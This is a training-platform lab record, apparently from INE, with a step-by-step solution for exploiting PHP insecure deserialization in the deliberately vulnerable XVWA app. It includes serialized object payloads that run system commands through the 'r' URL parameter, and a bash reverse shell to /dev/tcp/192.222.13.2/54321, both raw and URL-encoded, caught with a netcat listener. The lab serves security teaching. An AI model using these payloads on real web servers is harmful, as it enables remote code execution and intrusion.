{
    "id": "e472b4d1-77d0-45db-9f6d-4d4145300f35",
    "name": "PHP Insecure Deserialization",
    "slug": "php-insecure-deserialization",
    "status": "published",
    "lab_type": "pta",
    "is_sample": false,
    "duration_in_seconds": 1800,
    "metadata": {
        "courses": [
            "e68327e2-fb00-46b3-bbe3-f85fcb779c1f",
            "630a470a-1ccf-44eb-8111-8947846b5d78"
        ],
        "pta_sdn": "185",
        "collections": [],
        "pta_namespace": "my.ine",
        "learning_paths": [],
        "has_published_parent": true
    },
    "session": null,
    "company": "a491bc32-c056-4946-9169-cc053387bada",
    "created": "2022-06-09T17:43:22.055656Z",
    "modified": "2024-12-31T15:48:59.417969Z",
    "is_beta": false,
    "lab_objectives": [],
    "main_learning_area": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa",
    "learning_areas": [
        {
            "id": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa",
            "name": "Cyber Security",
            "slug": "cyber-security"
        }
    ],
    "categories": [],
    "tags": [],
    "difficulty": null,
    "is_web_access": false,
    "is_lab_experience": false,
    "is_featured": false,
    "cve": null,
    "severity": null,
    "year": null,
    "classification": null,
    "is_trackable": false,
    "cpe_credits": null,
    "is_skill_check": false,
    "external_url": "",
    "solution_video": null,
    "explanation_video": null,
    "description": "In this lab, you will learn to leverage insecure deserialization in a PHP page to gain command execution on the webserver.",
    "description_html": "<p>In this lab, you will learn to leverage insecure deserialization in a PHP page to gain command execution on the webserver.</p>",
    "tasks": "# Lab Environment\n\nIn this lab environment, the user will get access to a Kali GUI instance. An instance of the [XVWA](https://github.com/s4n7h0/xvwa) web application can be accessed using the tools installed on Kali at http://demo.ine.local.  \n\n\n**Objective:** Leverage insecure PHP deserialization vulnerability to gain remote code execution on the target webserver.  \n\n![0](https://assets.ine.com/content/ptp/insecure_php_deserialization/0.png)\n\n# Instructions\n\nThe web page relevant to this lab can be located here:  \n\n- **PHP Objection:** http://demo.ine.local/xvwa/vulnerabilities/php_object_injection\n\n\n# Tools\n\nThe best tools for this lab are:\n\n- Nmap\n- Netcat\n- A web browser\n\n**Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!**",
    "tasks_html": "<h1>Lab Environment</h1>\n<p>In this lab environment, the user will get access to a Kali GUI instance. An instance of the <a href=\"https://github.com/s4n7h0/xvwa\">XVWA</a> web application can be accessed using the tools installed on Kali at http://demo.ine.local.  </p>\n<p><strong>Objective:</strong> Leverage insecure PHP deserialization vulnerability to gain remote code execution on the target webserver.  </p>\n<p><img alt=\"0\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/0.png\" /></p>\n<h1>Instructions</h1>\n<p>The web page relevant to this lab can be located here:  </p>\n<ul>\n<li><strong>PHP Objection:</strong> http://demo.ine.local/xvwa/vulnerabilities/php_object_injection</li>\n</ul>\n<h1>Tools</h1>\n<p>The best tools for this lab are:</p>\n<ul>\n<li>Nmap</li>\n<li>Netcat</li>\n<li>A web browser</li>\n</ul>\n<p><strong>Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!</strong></p>",
    "published_date": "2020-10-20T15:32:24Z",
    "solutions": "# Solution\n\n**Step 1:** Open the lab link to access the Kali GUI instance.  \n\n![1](https://assets.ine.com/content/ptp/insecure_php_deserialization/1.png)\n\n**Step 2:** Check if the provided machine/domain is reachable.  \n\n**Command:**\n```\nping -c3 demo.ine.local\n```\n\n![2](https://assets.ine.com/content/ptp/insecure_php_deserialization/2.png)\n\nThe provided machine is reachable.  \n\n**Step 3:** Check open ports on the provided machine.\n\n**Command:**\n```\nnmap -sS -sV demo.ine.local\n```\n\n![3](https://assets.ine.com/content/ptp/insecure_php_deserialization/3.png)\n\nPort 80 (Apache webserver) and 3306 (MySQL server) are open on the target machine.  \n\n**Step 4:** Open the browser to inspect the hosted website.  \n\n**URL:** http://demo.ine.local\n\n![4](https://assets.ine.com/content/ptp/insecure_php_deserialization/4.png)\n\nAn instance of [**XVWA**](https://github.com/s4n7h0/xvwa) is hosted on the Apache webserver.  \n\n**Step 5:** Open PHP Object Injection page.  \n\nSelect **PHP Object Injection** from the available set of vulnerabilities:  \n\n![5](https://assets.ine.com/content/ptp/insecure_php_deserialization/5.png)\n\n**Step 6:** Interact with the vulnerable page.  \n\nPress the **CLICK HERE** button and notice the resulting URL:  \n\n![6](https://assets.ine.com/content/ptp/insecure_php_deserialization/6.png)\n\nYou should see the following URL:  \n\n```\nhttp://demo.ine.local/xvwa/vulnerabilities/php_object_injection/?r=a:2:{i:0;s:4:\"XVWA\";i:1;s:33:\"Xtreme Vulnerable Web Application\";}\n```\n\nThere is an object in the URL parameter `r`.  \n\nIf you notice closely, the values present in this parameter - `XVWA` and `Xtreme Vulnerable Web Application` are shown on the page.  \n\nBut what exactly is this object contained in the `r` parameter?  \n\nLet's search for it:  \n\n**Search string:**  \n```\na:2:{i:0;s:4:\"\";i:1;s:33:\"\";}\n```\n\nWe have intentionally omitted any references to XVWA to avoid getting results specific to it.  \n\n![6_1](https://assets.ine.com/content/ptp/insecure_php_deserialization/6_1.png)\n\nNotice we got back some results indicating it is serialized PHP data.  \n\nOne of the comments on SO also indicates to use the PHP `serialize` and `unserialize` methods on this kind of input:  \n\n![6_2](https://assets.ine.com/content/ptp/insecure_php_deserialization/6_2.png)\n\nLet's try to produce similar results using the [serialize](https://www.php.net/manual/en/function.serialize.php) method from PHP:  \n\n**Commands:**  \n```\nphp -a\necho serialize(\"Hello World!\");\necho serialize(array('a', 2, 'c', 4, 'e', 6, 'g', 8, 'i', 10));\n```\n\n![6_3](https://assets.ine.com/content/ptp/insecure_php_deserialization/6_3.png)\n\nThe above commands would do the following:  \n\n**php -a:** Launch an interactive PHP environment - a REPL (read-eval-print-loop). Here we can run PHP code without having to set up any webserver.  \n\nThe second command serialized the string **Hello World!**.  \n\nThe result is simple enough - `s:12` indicates what follows is a string of 12 characters.  \n\nThe third command goes one step ahead and serializes an array, which is where serialization has its value - more on that shortly.  \n\nThe output says `a:10`, indicating what follows is an array of size 10. Then we have all the elements of the array. Each array element's index and value are indicated. For instance, let's consider the first two elements:  \n\n- `i:0;s:1:\"a\"` - Element at index 0 is a string of size 1 and that string is \"a\".   \n- `i:0;i:2` - Element at index 1 is an integer and it's value is 2.  \n\nHopefully, this makes much more sense now.  \n\n**What's serialization?**  \n\nSometimes you get to situations where you have to pass objects over the network, or the state of a program is to be stored for later use. How can you do that, provided that the information is present in an object?  \n\nOne possibility is to save all the object's properties and then populate them back later. That would be good, but it would be reinventing the wheel and would not be as optimized and compact as it could have been. Serialized objects must also later be deserialized. Since this is a standard requirement, it is built-in into the programming languages like Java, PHP, and the like.  \n\nNow that we know the parameter we saw in the URL was actually a PHP serialized object, let's figure it out using what we learned above:  \n\n**Commands:**  \n```\nphp -a\necho unserialize('a:2:{i:0;s:4:\"XVWA\";i:1;s:33:\"Xtreme Vulnerable Web Application\";}');\nvar_dump(unserialize('a:2:{i:0;s:4:\"XVWA\";i:1;s:33:\"Xtreme Vulnerable Web Application\";}'));\n```\n\n![6_4](https://assets.ine.com/content/ptp/insecure_php_deserialization/6_4.png)\n\nWe run the PHP code from the interactive mode and [unserialize](https://www.php.net/manual/en/function.unserialize.php) the PHP object. Notice that it is an [associative array](https://www.w3schools.com/PHP/php_arrays_associative.asp) having two items.  \n\nCheck the [PHP manual for unserialize](https://www.php.net/manual/en/function.unserialize.php):  \n\n![6_5](https://assets.ine.com/content/ptp/insecure_php_deserialization/6_5.png)\n\nNotice the big red warning message. It's a clear warning to the developers about the RCE threat if they pass user-controlled input to the `unserialize` function.  \n\n**Step 7:** Check the source code of the PHP Object Injection page from Github.  \n\n**URL:** https://github.com/s4n7h0/xvwa/blob/master/vulnerabilities/php_object_injection/home.php  \n\n![7](https://assets.ine.com/content/ptp/insecure_php_deserialization/7.png)\n\nNotice the relevant code snippet shown in the above image. If the request contains the parameter `r`, its value is unserialized. Also, notice the call to `eval` - the `inject` parameter is directly passed to `eval`, which is an excellent opportunity for RCE.  \n\n**Step 8:** Exploit the insecure PHP deserialization vulnerability.  \n\nSave the following code snippet as `object.php`:  \n\n```\n<?php\n\tclass PHPObjectInjection {\n\t\tpublic $inject=\"system('id');\";\n\t}\n\t$obj=new PHPObjectInjection();\n\tvar_dump(serialize($obj));\n?>\n```\n\n![8](https://assets.ine.com/content/ptp/insecure_php_deserialization/8.png)\n\nNotice the above code snippet sets the `inject` parameter to `system('id')`, which would run the `id` command on the webserver.  \n\nSerialize the object:  \n\n**Command:**  \n```\nphp object.php\n```\n\n![8_1](https://assets.ine.com/content/ptp/insecure_php_deserialization/8_1.png)\n\n**Serialized payload:**  \n```\nO:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:13:\"system('id');\";}\n```\n\nAssign the generated value in the `r` parameter in the URL:  \n\n![8_2](https://assets.ine.com/content/ptp/insecure_php_deserialization/8_2.png)\n\nNotice the results of the `id` command are shown on the page.  \n\nWith that, we successfully exploited the insecure deserialization issue to run arbitrary commands.  \n\n**Step 9:** Check the list of running processes.  \n\nNow that we have code execution on the target server, let's check the list of running processes:  \n\nSave the following code snippet as `object.php`:  \n```\n<?php\n\tclass PHPObjectInjection {\n\t\tpublic $inject=\"system('ps aux');\";\n\t}\n\t$obj=new PHPObjectInjection();\n\tvar_dump(serialize($obj));\n?>\n```\n\n![9](https://assets.ine.com/content/ptp/insecure_php_deserialization/9.png)\n\nSerialize the object:  \n\n**Command:**  \n```\nphp object.php\n```\n\n![9_1](https://assets.ine.com/content/ptp/insecure_php_deserialization/9_1.png)\n\n**Serialized payload:**  \n```\nO:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:17:\"system('ps aux');\";}\n```\n\nAssign the generated value in the `r` parameter in the URL:  \n\n![9_2](https://assets.ine.com/content/ptp/insecure_php_deserialization/9_2.png)\n\nThe process listing is retrieved, as shown in the above image.  \n\nCheck the page source for a better-formatted response (press `CTRL+U`):  \n\n![9_3](https://assets.ine.com/content/ptp/insecure_php_deserialization/9_3.png)\n\n**Step 10:** Obtain a reverse shell.  \n\nRunning single commands is good, but it requires us to generate the serialized value every time.  \n\nLet's get a reverse shell to avoid that.  \n\nBefore moving on to the payload generation part, retrieve the IP address of the attacker machine:  \n\n**Command:**  \n```\nip addr\n```\n\n![10](https://assets.ine.com/content/ptp/insecure_php_deserialization/10.png)\n\nThe IP address of the attacker machine is `192.222.13.2`.  \n\n**Note:** The IP address is bound to change with every lab run. Kindly make sure to replace the IP address used in the payload. Otherwise, the payload wouldn't work.  \n\nSave the following code snippet as `object.php`:  \n\n```\n<?php\n\tclass PHPObjectInjection {\n\t\tpublic $inject=\"system('/bin/bash -c \\'bash -i >& /dev/tcp/192.222.13.2/54321 0>&1\\'');\";\n\t}\n\t$obj=new PHPObjectInjection();\n\tvar_dump(serialize($obj));\n?>\n```\n\n![10_1](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_1.png)\n\nSerialize the object:  \n\n**Command:**  \n```\nphp object.php\n```\n\n![10_2](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_2.png)\n\n**Serialized payload:**  \n```\nO:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:71:\"system('/bin/bash -c \\'bash -i >& /dev/tcp/192.222.13.2/54321 0>&1\\'');\";}\n```\n\nStart a Netcat listener on port 54321 (since we specified this port in the reverse shell payload as well):  \n\n**Command:**  \n```\nnc -lvp 54321\n```\n\n![10_3](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_3.png)\n\nAssign the generated value in the `r` parameter in the URL:  \n\n![10_4](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_4.png)\n\nIt didn't work. But why is that?  \n\nIt is because the serialized payload contains characters like `/` and `&` which are treated specially by the web browser and the server.  \n\nTo avoid that, we will encode the serialized payload.  \n\nYou can use Burp to do that or use websites like https://www.url-encode-decode.com/ to get the job done:  \n\n![10_5](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_5.png)\n\n**URL-encoded serialized payload:**  \n```\nO%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A71%3A%22system%28%27%2Fbin%2Fbash+-c+%5C%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.222.13.2%2F54321+0%3E%261%5C%27%27%29%3B%22%3B%7D\n```\n\n**Note:** Make sure not to copy this payload as is, since the IP would be different for the attacker machine assigned to you.  \n\nAssign the URL-encoded payload in the `r` parameter in the URL:  \n\n![10_6](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_6.png)\n\nCheck the terminal where the Netcat listener was running:  \n\n![10_7](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_7.png)\n\nWe have gained a reverse shell!  \n\nNow we can run commands without having to generate command payloads every single time:  \n\n**Commands:**  \n```\nid\npwd\nls -al\n```\n\n![10_8](https://assets.ine.com/content/ptp/insecure_php_deserialization/10_8.png)\n\nWith that, we conclude this lab on **Insecure PHP Deserialization** also known as **PHP Object Injection**.  \n\nWe learned about serialization and deserialization, how to generate serialized values, and how to unserialize them. We also reviewed the PHP code and uncovered the use of a code execution sink, namely the `eval` function. Finally, we exploited the vulnerable code by generating malicious serialized objects to gain command execution on the target server.  \n\n\n# References\n\n- [XVWA](https://github.com/s4n7h0/xvwa)\n- [PHP Associative Arrays](https://www.w3schools.com/PHP/php_arrays_associative.asp)\n- [PHP Serialize](https://www.php.net/manual/en/function.serialize.php)\n- [PHP Unserialize](https://www.php.net/manual/en/function.unserialize.php)",
    "solutions_html": "<h1>Solution</h1>\n<p><strong>Step 1:</strong> Open the lab link to access the Kali GUI instance.  </p>\n<p><img alt=\"1\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/1.png\" /></p>\n<p><strong>Step 2:</strong> Check if the provided machine/domain is reachable.  </p>\n<p><strong>Command:</strong>\n<pre class=\"codehilite\"><code>ping -c3 demo.ine.local</code></pre></p>\n<p><img alt=\"2\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/2.png\" /></p>\n<p>The provided machine is reachable.  </p>\n<p><strong>Step 3:</strong> Check open ports on the provided machine.</p>\n<p><strong>Command:</strong>\n<pre class=\"codehilite\"><code>nmap -sS -sV demo.ine.local</code></pre></p>\n<p><img alt=\"3\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/3.png\" /></p>\n<p>Port 80 (Apache webserver) and 3306 (MySQL server) are open on the target machine.  </p>\n<p><strong>Step 4:</strong> Open the browser to inspect the hosted website.  </p>\n<p><strong>URL:</strong> http://demo.ine.local</p>\n<p><img alt=\"4\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/4.png\" /></p>\n<p>An instance of <a href=\"https://github.com/s4n7h0/xvwa\"><strong>XVWA</strong></a> is hosted on the Apache webserver.  </p>\n<p><strong>Step 5:</strong> Open PHP Object Injection page.  </p>\n<p>Select <strong>PHP Object Injection</strong> from the available set of vulnerabilities:  </p>\n<p><img alt=\"5\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/5.png\" /></p>\n<p><strong>Step 6:</strong> Interact with the vulnerable page.  </p>\n<p>Press the <strong>CLICK HERE</strong> button and notice the resulting URL:  </p>\n<p><img alt=\"6\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/6.png\" /></p>\n<p>You should see the following URL:  </p>\n<pre class=\"codehilite\"><code>http://demo.ine.local/xvwa/vulnerabilities/php_object_injection/?r=a:2:{i:0;s:4:\"XVWA\";i:1;s:33:\"Xtreme Vulnerable Web Application\";}</code></pre>\n\n<p>There is an object in the URL parameter <code>r</code>.  </p>\n<p>If you notice closely, the values present in this parameter - <code>XVWA</code> and <code>Xtreme Vulnerable Web Application</code> are shown on the page.  </p>\n<p>But what exactly is this object contained in the <code>r</code> parameter?  </p>\n<p>Let's search for it:  </p>\n<p><strong>Search string:</strong><br />\n<pre class=\"codehilite\"><code>a:2:{i:0;s:4:\"\";i:1;s:33:\"\";}</code></pre></p>\n<p>We have intentionally omitted any references to XVWA to avoid getting results specific to it.  </p>\n<p><img alt=\"6_1\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/6_1.png\" /></p>\n<p>Notice we got back some results indicating it is serialized PHP data.  </p>\n<p>One of the comments on SO also indicates to use the PHP <code>serialize</code> and <code>unserialize</code> methods on this kind of input:  </p>\n<p><img alt=\"6_2\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/6_2.png\" /></p>\n<p>Let's try to produce similar results using the <a href=\"https://www.php.net/manual/en/function.serialize.php\">serialize</a> method from PHP:  </p>\n<p><strong>Commands:</strong><br />\n<pre class=\"codehilite\"><code>php -a\necho serialize(\"Hello World!\");\necho serialize(array('a', 2, 'c', 4, 'e', 6, 'g', 8, 'i', 10));</code></pre></p>\n<p><img alt=\"6_3\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/6_3.png\" /></p>\n<p>The above commands would do the following:  </p>\n<p><strong>php -a:</strong> Launch an interactive PHP environment - a REPL (read-eval-print-loop). Here we can run PHP code without having to set up any webserver.  </p>\n<p>The second command serialized the string <strong>Hello World!</strong>.  </p>\n<p>The result is simple enough - <code>s:12</code> indicates what follows is a string of 12 characters.  </p>\n<p>The third command goes one step ahead and serializes an array, which is where serialization has its value - more on that shortly.  </p>\n<p>The output says <code>a:10</code>, indicating what follows is an array of size 10. Then we have all the elements of the array. Each array element's index and value are indicated. For instance, let's consider the first two elements:  </p>\n<ul>\n<li><code>i:0;s:1:\"a\"</code> - Element at index 0 is a string of size 1 and that string is \"a\".   </li>\n<li><code>i:0;i:2</code> - Element at index 1 is an integer and it's value is 2.  </li>\n</ul>\n<p>Hopefully, this makes much more sense now.  </p>\n<p><strong>What's serialization?</strong>  </p>\n<p>Sometimes you get to situations where you have to pass objects over the network, or the state of a program is to be stored for later use. How can you do that, provided that the information is present in an object?  </p>\n<p>One possibility is to save all the object's properties and then populate them back later. That would be good, but it would be reinventing the wheel and would not be as optimized and compact as it could have been. Serialized objects must also later be deserialized. Since this is a standard requirement, it is built-in into the programming languages like Java, PHP, and the like.  </p>\n<p>Now that we know the parameter we saw in the URL was actually a PHP serialized object, let's figure it out using what we learned above:  </p>\n<p><strong>Commands:</strong><br />\n<pre class=\"codehilite\"><code>php -a\necho unserialize('a:2:{i:0;s:4:\"XVWA\";i:1;s:33:\"Xtreme Vulnerable Web Application\";}');\nvar_dump(unserialize('a:2:{i:0;s:4:\"XVWA\";i:1;s:33:\"Xtreme Vulnerable Web Application\";}'));</code></pre></p>\n<p><img alt=\"6_4\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/6_4.png\" /></p>\n<p>We run the PHP code from the interactive mode and <a href=\"https://www.php.net/manual/en/function.unserialize.php\">unserialize</a> the PHP object. Notice that it is an <a href=\"https://www.w3schools.com/PHP/php_arrays_associative.asp\">associative array</a> having two items.  </p>\n<p>Check the <a href=\"https://www.php.net/manual/en/function.unserialize.php\">PHP manual for unserialize</a>:  </p>\n<p><img alt=\"6_5\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/6_5.png\" /></p>\n<p>Notice the big red warning message. It's a clear warning to the developers about the RCE threat if they pass user-controlled input to the <code>unserialize</code> function.  </p>\n<p><strong>Step 7:</strong> Check the source code of the PHP Object Injection page from Github.  </p>\n<p><strong>URL:</strong> https://github.com/s4n7h0/xvwa/blob/master/vulnerabilities/php_object_injection/home.php  </p>\n<p><img alt=\"7\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/7.png\" /></p>\n<p>Notice the relevant code snippet shown in the above image. If the request contains the parameter <code>r</code>, its value is unserialized. Also, notice the call to <code>eval</code> - the <code>inject</code> parameter is directly passed to <code>eval</code>, which is an excellent opportunity for RCE.  </p>\n<p><strong>Step 8:</strong> Exploit the insecure PHP deserialization vulnerability.  </p>\n<p>Save the following code snippet as <code>object.php</code>:  </p>\n<pre class=\"codehilite\"><code>&lt;?php\n    class PHPObjectInjection {\n        public $inject=\"system('id');\";\n    }\n    $obj=new PHPObjectInjection();\n    var_dump(serialize($obj));\n?&gt;</code></pre>\n\n<p><img alt=\"8\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/8.png\" /></p>\n<p>Notice the above code snippet sets the <code>inject</code> parameter to <code>system('id')</code>, which would run the <code>id</code> command on the webserver.  </p>\n<p>Serialize the object:  </p>\n<p><strong>Command:</strong><br />\n<pre class=\"codehilite\"><code>php object.php</code></pre></p>\n<p><img alt=\"8_1\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/8_1.png\" /></p>\n<p><strong>Serialized payload:</strong><br />\n<pre class=\"codehilite\"><code>O:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:13:\"system('id');\";}</code></pre></p>\n<p>Assign the generated value in the <code>r</code> parameter in the URL:  </p>\n<p><img alt=\"8_2\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/8_2.png\" /></p>\n<p>Notice the results of the <code>id</code> command are shown on the page.  </p>\n<p>With that, we successfully exploited the insecure deserialization issue to run arbitrary commands.  </p>\n<p><strong>Step 9:</strong> Check the list of running processes.  </p>\n<p>Now that we have code execution on the target server, let's check the list of running processes:  </p>\n<p>Save the following code snippet as <code>object.php</code>:<br />\n<pre class=\"codehilite\"><code>&lt;?php\n    class PHPObjectInjection {\n        public $inject=\"system('ps aux');\";\n    }\n    $obj=new PHPObjectInjection();\n    var_dump(serialize($obj));\n?&gt;</code></pre></p>\n<p><img alt=\"9\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/9.png\" /></p>\n<p>Serialize the object:  </p>\n<p><strong>Command:</strong><br />\n<pre class=\"codehilite\"><code>php object.php</code></pre></p>\n<p><img alt=\"9_1\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/9_1.png\" /></p>\n<p><strong>Serialized payload:</strong><br />\n<pre class=\"codehilite\"><code>O:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:17:\"system('ps aux');\";}</code></pre></p>\n<p>Assign the generated value in the <code>r</code> parameter in the URL:  </p>\n<p><img alt=\"9_2\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/9_2.png\" /></p>\n<p>The process listing is retrieved, as shown in the above image.  </p>\n<p>Check the page source for a better-formatted response (press <code>CTRL+U</code>):  </p>\n<p><img alt=\"9_3\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/9_3.png\" /></p>\n<p><strong>Step 10:</strong> Obtain a reverse shell.  </p>\n<p>Running single commands is good, but it requires us to generate the serialized value every time.  </p>\n<p>Let's get a reverse shell to avoid that.  </p>\n<p>Before moving on to the payload generation part, retrieve the IP address of the attacker machine:  </p>\n<p><strong>Command:</strong><br />\n<pre class=\"codehilite\"><code>ip addr</code></pre></p>\n<p><img alt=\"10\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10.png\" /></p>\n<p>The IP address of the attacker machine is <code>192.222.13.2</code>.  </p>\n<p><strong>Note:</strong> The IP address is bound to change with every lab run. Kindly make sure to replace the IP address used in the payload. Otherwise, the payload wouldn't work.  </p>\n<p>Save the following code snippet as <code>object.php</code>:  </p>\n<pre class=\"codehilite\"><code>&lt;?php\n    class PHPObjectInjection {\n        public $inject=\"system('/bin/bash -c \\'bash -i &gt;&amp; /dev/tcp/192.222.13.2/54321 0&gt;&amp;1\\'');\";\n    }\n    $obj=new PHPObjectInjection();\n    var_dump(serialize($obj));\n?&gt;</code></pre>\n\n<p><img alt=\"10_1\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_1.png\" /></p>\n<p>Serialize the object:  </p>\n<p><strong>Command:</strong><br />\n<pre class=\"codehilite\"><code>php object.php</code></pre></p>\n<p><img alt=\"10_2\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_2.png\" /></p>\n<p><strong>Serialized payload:</strong><br />\n<pre class=\"codehilite\"><code>O:18:\"PHPObjectInjection\":1:{s:6:\"inject\";s:71:\"system('/bin/bash -c \\'bash -i &gt;&amp; /dev/tcp/192.222.13.2/54321 0&gt;&amp;1\\'');\";}</code></pre></p>\n<p>Start a Netcat listener on port 54321 (since we specified this port in the reverse shell payload as well):  </p>\n<p><strong>Command:</strong><br />\n<pre class=\"codehilite\"><code>nc -lvp 54321</code></pre></p>\n<p><img alt=\"10_3\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_3.png\" /></p>\n<p>Assign the generated value in the <code>r</code> parameter in the URL:  </p>\n<p><img alt=\"10_4\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_4.png\" /></p>\n<p>It didn't work. But why is that?  </p>\n<p>It is because the serialized payload contains characters like <code>/</code> and <code>&amp;</code> which are treated specially by the web browser and the server.  </p>\n<p>To avoid that, we will encode the serialized payload.  </p>\n<p>You can use Burp to do that or use websites like https://www.url-encode-decode.com/ to get the job done:  </p>\n<p><img alt=\"10_5\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_5.png\" /></p>\n<p><strong>URL-encoded serialized payload:</strong><br />\n<pre class=\"codehilite\"><code>O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A71%3A%22system%28%27%2Fbin%2Fbash+-c+%5C%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.222.13.2%2F54321+0%3E%261%5C%27%27%29%3B%22%3B%7D</code></pre></p>\n<p><strong>Note:</strong> Make sure not to copy this payload as is, since the IP would be different for the attacker machine assigned to you.  </p>\n<p>Assign the URL-encoded payload in the <code>r</code> parameter in the URL:  </p>\n<p><img alt=\"10_6\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_6.png\" /></p>\n<p>Check the terminal where the Netcat listener was running:  </p>\n<p><img alt=\"10_7\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_7.png\" /></p>\n<p>We have gained a reverse shell!  </p>\n<p>Now we can run commands without having to generate command payloads every single time:  </p>\n<p><strong>Commands:</strong><br />\n<pre class=\"codehilite\"><code>id\npwd\nls -al</code></pre></p>\n<p><img alt=\"10_8\" src=\"https://assets.ine.com/content/ptp/insecure_php_deserialization/10_8.png\" /></p>\n<p>With that, we conclude this lab on <strong>Insecure PHP Deserialization</strong> also known as <strong>PHP Object Injection</strong>.  </p>\n<p>We learned about serialization and deserialization, how to generate serialized values, and how to unserialize them. We also reviewed the PHP code and uncovered the use of a code execution sink, namely the <code>eval</code> function. Finally, we exploited the vulnerable code by generating malicious serialized objects to gain command execution on the target server.  </p>\n<h1>References</h1>\n<ul>\n<li><a href=\"https://github.com/s4n7h0/xvwa\">XVWA</a></li>\n<li><a href=\"https://www.w3schools.com/PHP/php_arrays_associative.asp\">PHP Associative Arrays</a></li>\n<li><a href=\"https://www.php.net/manual/en/function.serialize.php\">PHP Serialize</a></li>\n<li><a href=\"https://www.php.net/manual/en/function.unserialize.php\">PHP Unserialize</a></li>\n</ul>",
    "flags": [],
    "min_points_to_pass": null,
    "access_type": "default",
    "user_status": "unstarted",
    "user_lab_status": null,
    "user_status_modified": null,
    "user_flags": [],
    "global_running_session": null
}